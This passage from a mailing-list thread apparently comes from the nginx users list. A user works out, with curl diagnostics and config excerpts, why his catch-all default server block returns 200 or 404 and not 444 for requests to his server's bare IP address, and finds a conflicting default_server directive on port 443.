If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo at paloaltonetworks.com" > ... > > 185.242.226.70 - - [23/Aug/2024:01:55:09 +0000] "" "GET / HTTP/1.1" 200 467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom324.190 Safari/537.36" > > While this one gets the expected 444: > > > 199.45.154.128 - - [23/Aug/2024:02:18:44 +0000] "" "GET / HTTP/1.1" 444 0 "-" "-" > > What's the difference between these two I wonder? > > Do I have more than one default config? (I think reloading the config > would have failed then? > > The one that returns 444 has nothing in the server column, is that significant? The first two which succeed have a user agent string ("Expanse..." and "Mozilla/5.0..."). The third one which fails lacks the user agent string ("-"). I'm not sure if that makes the difference in the behavior you are observing. You may be able to test it with cURL or Wget. Here's how to fiddle with the user agent with cURL: ; and Wget: . Jeff From sb at dod.no Sun Aug 25 20:21:04 2024 From: sb at dod.no (Steinar Bang) Date: Sun, 25 Aug 2024 22:21:04 +0200 Subject: Default site configured for 444 returns 404 References: <87y14mx8yu.fsf@dod.no> <87ttf8ykhk.fsf@dod.no> Message-ID: <87le0kxsjz.fsf@dod.no> >>>>> Jeffrey Walton : > The first two which succeed have a user agent string ("Expanse..." and > "Mozilla/5.0..."). The third one which fails lacks the user agent > string ("-"). > I'm not sure if that makes the difference in the behavior you are observing. > You may be able to test it with cURL or Wget. Here's how to fiddle > with the user agent with cURL: > ; and Wget: > . Hm... everything I try gets 444...? sb at marquez:~$ curl http:/// curl: (52) Empty reply from server sb at marquez:~$ curl https:/// curl: (60) SSL: no alternative certificate subject name matches target host name '' More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above. sb at marquez:~$ curl http:/// --user-agent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrom324.190 Safari/537.36' curl: (52) Empty reply from server sb at marquez:~$ (As expected only HTTP on port 80 will work at all for the IP address, since there is no certificate matchinng the IP number as hostname) From sb at dod.no Sun Aug 25 20:33:22 2024 From: sb at dod.no (Steinar Bang) Date: Sun, 25 Aug 2024 22:33:22 +0200 Subject: Default site configured for 444 returns 404 References: <87y14mx8yu.fsf@dod.no> <87ttf8ykhk.fsf@dod.no> <87le0kxsjz.fsf@dod.no> Message-ID: <87h6b8xrzh.fsf@dod.no> Found something! If I use https with the IP number and ignore the certificate errors caused by there being no certificate that matches the IP number, then I get a 200 OK (or presumably 404 as I've seen for some addresses). sb at marquez:~$ curl -svk https:/// * Trying :443... * Connected to () port 443 (#0) * ALPN: offers h2,http/1.1 * TLSv1.3 (OUT), TLS handshake, Client hello (1): * TLSv1.3 (IN), TLS handshake, Server hello (2): * TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8): * TLSv1.3 (IN), TLS handshake, Certificate (11): * TLSv1.3 (IN), TLS handshake, CERT verify (15): * TLSv1.3 (IN), TLS handshake, Finished (20): * TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1): * TLSv1.3 (OUT), TLS handshake, Finished (20): * SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384 * ALPN: server accepted http/1.1 * Server certificate: * subject: CN=www.bang.priv.no * start date: Jul 3 23:25:10 2024 GMT * expire date: Oct 1 23:25:09 2024 GMT * issuer: C=US; O=Let's Encrypt; CN=R11 * SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway. * using HTTP/1.1 > GET / HTTP/1.1 > Host: > User-Agent: curl/7.88.1 > Accept: */* > * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * TLSv1.3 (IN), TLS handshake, Newsession Ticket (4): * old SSL session ID is stale, removing < HTTP/1.1 200 OK < Server: nginx/1.22.1 < Date: Sun, 25 Aug 2024 20:28:48 GMT < Content-Type: text/html < Content-Length: 864 < Last-Modified: Thu, 27 Aug 2020 16:54:00 GMT < Connection: keep-alive < ETag: "5f47e528-360" < Accept-Ranges: bytes < Familien Bangs eget web-domene

Familien Bangs eget web-domene

Jada. Hehe! Men hvis resten av familien vil ha noen linker herfra, s� m� de nok komme krypende til meg og sp�rre pent. Forel�pig er jeg den eneste her.

webmaster at bang.priv.no
* Connection #0 to host left intact sb at marquez:~$ From sb at dod.no Sun Aug 25 20:52:41 2024 From: sb at dod.no (Steinar Bang) Date: Sun, 25 Aug 2024 22:52:41 +0200 Subject: Default site configured for 444 returns 404 References: <87y14mx8yu.fsf@dod.no> <87ttf8ykhk.fsf@dod.no> <87le0kxsjz.fsf@dod.no> <87h6b8xrzh.fsf@dod.no> Message-ID: <87cylwxr3a.fsf@dod.no> Ok, found it! Turned out one of my other configs (the server www.mycompany.com one) had this server { # SSL configuration # listen 443 ssl default_server; listen [::]:443 ssl default_server; ssl_certificate /etc/letsencrypt/live/www.mycompany.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/www.mycompany.com/privkey.pem; server_name www.mycompany.com; } so what I did, was: 1. Remove the " default_server" from the www.mycompany.com server: server { # SSL configuration # listen 443 ssl default_server; listen [::]:443 ssl default_server; ssl_certificate /etc/letsencrypt/live/www.mycompany.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/www.mycompany.com/privkey.pem; server_name www.mycompany.com; } 2. Add SSL listening for default_server to the default config: server { listen 80 default_server; listen [::]:80 default_server; listen 443 ssl default_server; listen [::]:443 ssl default_server; ssl_certificate /etc/letsencrypt/live/www.bang.priv.no/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/www.bang.priv.no/privkey.pem; server_name _; return 444; } After this, all IP number accesses to my server on either port 80 or port 443, are met with 444. From sb at dod.no Sun Aug 25 21:05:53 2024 From: sb at dod.no (Steinar Bang) Date: Sun, 25 Aug 2024 23:05:53 +0200 Subject: Default site configured for 444 returns 404 References: <87y14mx8yu.fsf@dod.no> <87ttf8ykhk.fsf@dod.no> <87le0kxsjz.fsf@dod.no> <87h6b8xrzh.fsf@dod.no> <87cylwxr3a.fsf@dod.no> Message-ID: <878qwkxqha.fsf@dod.no> Improved 444 configuration: replaced the letsencrypt certificate (which won't work here anyway) with the self signed certificates bundled with nginx (the more broken, the merrier in this case... confuse the bots!): server { listen 80 default_server; listen [::]:80 default_server; listen 443 ssl default_server; listen [::]:443 ssl default_server; include snippets/snakeoil.conf; server_name _; return 444; }